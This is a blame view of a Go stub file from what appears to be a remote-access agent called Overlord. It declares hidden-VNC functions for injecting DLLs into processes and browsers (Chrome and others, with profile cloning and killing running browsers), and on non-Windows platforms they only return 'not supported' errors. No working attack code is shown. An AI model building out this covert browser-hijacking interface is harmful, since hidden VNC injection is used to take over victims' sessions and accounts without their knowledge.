Files
overlord/Overlord-Client/cmd/agent/capture/hvnc_inject_stub.go
T

26 lines
1.0 KiB
Go
Raw Normal View History

2026-03-11 23:11:44 -05:00
//go:build !windows
package capture
import "errors"
2026-05-15 21:01:42 -05:00
func StartHVNCProcessInjected(filePath string, dllBytes []byte, captureDllBytes []byte, searchPath, replacePath string, display int) (uint32, error) {
return 0, errors.New("HVNC injection not supported on this platform")
2026-03-11 23:11:44 -05:00
}
2026-04-16 10:01:49 -05:00
func StartHVNCChromeInjected(chromePath string, dllBytes []byte, captureDllBytes []byte) error {
2026-03-11 23:11:44 -05:00
return errors.New("HVNC injection not supported on this platform")
}
type CloneProgressFunc func(percent int, copiedBytes, totalBytes int64, status string)
type DXGIStatusFunc func(success bool, gpuPID uint32, message string)
2026-05-15 20:19:17 -05:00
type LaunchStatusFunc func(step string, success bool, detail string)
2026-05-15 21:01:42 -05:00
func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, captureDllBytes []byte, clone bool, cloneLite bool, killIfRunning bool, display int, onProgress CloneProgressFunc, onDXGIStatus DXGIStatusFunc, onLaunchStatus LaunchStatusFunc) error {
2026-03-11 23:11:44 -05:00
return errors.New("HVNC injection not supported on this platform")
}
func CheckInstalledBrowsers() map[string]bool {
return nil
}